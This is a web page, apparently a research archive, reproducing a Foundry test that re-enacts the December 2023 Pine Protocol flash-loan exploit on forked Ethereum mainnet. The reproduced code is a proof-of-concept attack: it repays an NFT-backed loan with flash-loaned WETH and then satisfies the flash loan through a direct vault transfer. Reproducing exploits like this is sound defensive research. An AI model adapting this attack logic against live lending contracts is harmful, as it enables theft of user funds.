Public reproduction file
src/test/2023-12/PineProtocol_exp.sol
Public reproduction file for dataset entry PineProtocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~90K (info from hacked.slowmist.io)8// Attacker : https://etherscan.io/address/0x05324c970713450ba0bc12efd840034fcb0a4baa9// Attacker Contract : https://etherscan.io/address/0x1d5586da44328f28bfbbf59b808a87584355b3ef10// Vulnerable Contracts : https://etherscan.io/address/0x2405913d54fc46eeaf3fb092bfb099f46803872f11// https://etherscan.io/address/0xc3f4659588b13f23e09ec54783a3c407e39ad58912// NFT buy Tx: https://explorer.phalcon.xyz/tx/eth/0x2f328016764ecf1f57fda0f5490087a5ddba83706b51cf518bdbd7e65ae2383b13// Borrow Tx: https://explorer.phalcon.xyz/tx/eth/0xf4f254c3c6b64ded778b5af292c6ab6ed886c1bdd8988510bdc0ca0cf7f9857e14// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d16// @Analysis17// https://medium.com/neptune-mutual/analysis-of-the-pine-protocol-exploit-e09dbcb80ca018// https://twitter.com/MistTrack_io/status/173813178045943033820interface IERC721LendingPool {21 function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes memory _params) external;23 function repay(uint256 nftID, uint256 repayAmount, address pineWallet) external returns (bool);25 function _loans(26 uint25627 )28 external29 view30 returns (31 uint256 loanStartBlock,32 uint256 loanExpireTimestamp,33 uint32 interestBPS1000000XBlock,34 uint32 maxLTVBPS,35 uint256 borrowedWei,36 uint256 returnedWei,37 uint256 accuredInterestWei,38 uint256 repaidInterestWei,39 address borrower40 );41}43contract ContractTest is Test {44 IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));45 IERC721LendingPool private constant ERC721LendingPool02Old =46 IERC721LendingPool(0x2405913d54fC46eEAF3Fb092BfB099F46803872f);47 IERC721LendingPool private constant ERC721LendingPool02New =48 IERC721LendingPool(0xC3f4659588b13f23E09Ec54783A3c407e39ad589);49 IERC721 private constant PPG = IERC721(0xBd3531dA5CF5857e7CfAA92426877b022e612cf8);50 address private constant pineGnosisSafe = 0xc490E4646A91C3CBaFa8c55540c94Dcd0212037e;51 address private constant pineExploiter = 0x05324c970713450bA0Bc12EfD840034FCB0A4BAa;52 uint256 private constant collateralTokenId = 3324;54 function setUp() public {55 vm.createSelectFork("mainnet", 18_835_344);56 vm.label(address(WETH), "WETH");57 vm.label(address(ERC721LendingPool02Old), "ERC721LendingPool02Old");58 vm.label(address(ERC721LendingPool02New), "ERC721LendingPool02New");59 vm.label(address(PPG), "PPG");60 vm.label(address(pineGnosisSafe), "pineGnosisSafe");61 vm.label(address(pineExploiter), "pineExploiter");62 }64 function testExploit() public {65 emit log_named_decimal_uint(66 "[Before loan repay] Vault WETH balance after borrowing ~4 WETH to exploiter",67 WETH.balanceOf(pineGnosisSafe),68 1869 );70 emit log_named_address(71 "[Before loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral",72 PPG.ownerOf(collateralTokenId)73 );74 (,,,, uint256 borrowedWei,,,, address borrower) = ERC721LendingPool02New._loans(collateralTokenId);76 console.log(77 "[Before loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s",78 borrowedWei,79 borrower80 );81 console.log("---Exploit start---");82 console.log("1. Taking flashloan from the old lending pool");83 bytes memory params = abi.encode(collateralTokenId, address(ERC721LendingPool02New), pineGnosisSafe);84 vm.prank(address(this), pineExploiter);85 ERC721LendingPool02Old.flashLoan(address(this), address(WETH), WETH.balanceOf(pineGnosisSafe), params);86 console.log("---Exploit end---");87 emit log_named_decimal_uint(88 "[After loan repay] Vault WETH balance (nothing has changed and exploiter successfully repayed his ~4 WETH loan)",89 WETH.balanceOf(pineGnosisSafe),90 1891 );92 emit log_named_address(93 "[After loan repay] Owner of PPG NFT id 3_324 used by exploiter as loan collateral",94 PPG.ownerOf(collateralTokenId)95 );96 (,,,, borrowedWei,,,, borrower) = ERC721LendingPool02New._loans(collateralTokenId);98 console.log(99 "[After loan repay] Status of the exploiter's loan in the new lending pool - Borrowed wei: %s, Borrower: %s",100 borrowedWei,101 borrower102 );103 }105 function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes memory _params) external {106 vm.startPrank(address(this), pineExploiter);107 WETH.approve(address(ERC721LendingPool02New), type(uint256).max);108 console.log("2. Using flashloaned WETH amount from old lending pool to repay loan in new lending pool");109 ERC721LendingPool02New.repay(collateralTokenId, _amount, address(0));110 // Exploiter send to attack contract additional 0.3 WETH to repay the flashloan in the old pool111 deal(address(WETH), address(this), WETH.balanceOf(address(this)) + 0.3 ether);112 console.log("3. Repaying flashloan by transferring WETH straight to the Vault");113 uint256 amountToTransfer = _amount - WETH.balanceOf(pineGnosisSafe);114 WETH.transfer(pineGnosisSafe, amountToTransfer);115 vm.stopPrank();116 }117}Analysis
Dataset entry
Public Foundry test for “PineProtocol” (2023-12-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x05324c970713450ba0bc12efd840034fcb0a4baa
- Attacker
0x1d5586da44328f28bfbbf59b808a87584355b3ef
- Vulnerable Contract
0x2405913d54fc46eeaf3fb092bfb099f46803872f
- Attack Tx
0xec7523660f8b66d9e4a5931d97ad8b30acc679c973b20038ba4c15d4336b393d
- Explorer: https://etherscan.io/address/0x05324c970713450ba0bc12efd840034fcb0a4baa
- Explorer: https://etherscan.io/address/0x1d5586da44328f28bfbbf59b808a87584355b3ef
- Explorer: https://etherscan.io/address/0x2405913d54fc46eeaf3fb092bfb099f46803872f
- Explorer: https://etherscan.io/address/0xc3f4659588b13f23e09ec54783a3c407e39ad589
- Reference: https://twitter.com/MistTrack_io/status/1738131780459430338
File record
- Name
- PineProtocol
- Path
- src/test/2023-12/PineProtocol_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e2c9b6c0b57677743abee8e7d0cd78efd39dea05
- Language
- Solidity
- Size
- 118 lines
- Date
- 2023-12-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/PineProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e2c9b6c0b57677743abee8e7d0cd78efd39dea05, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.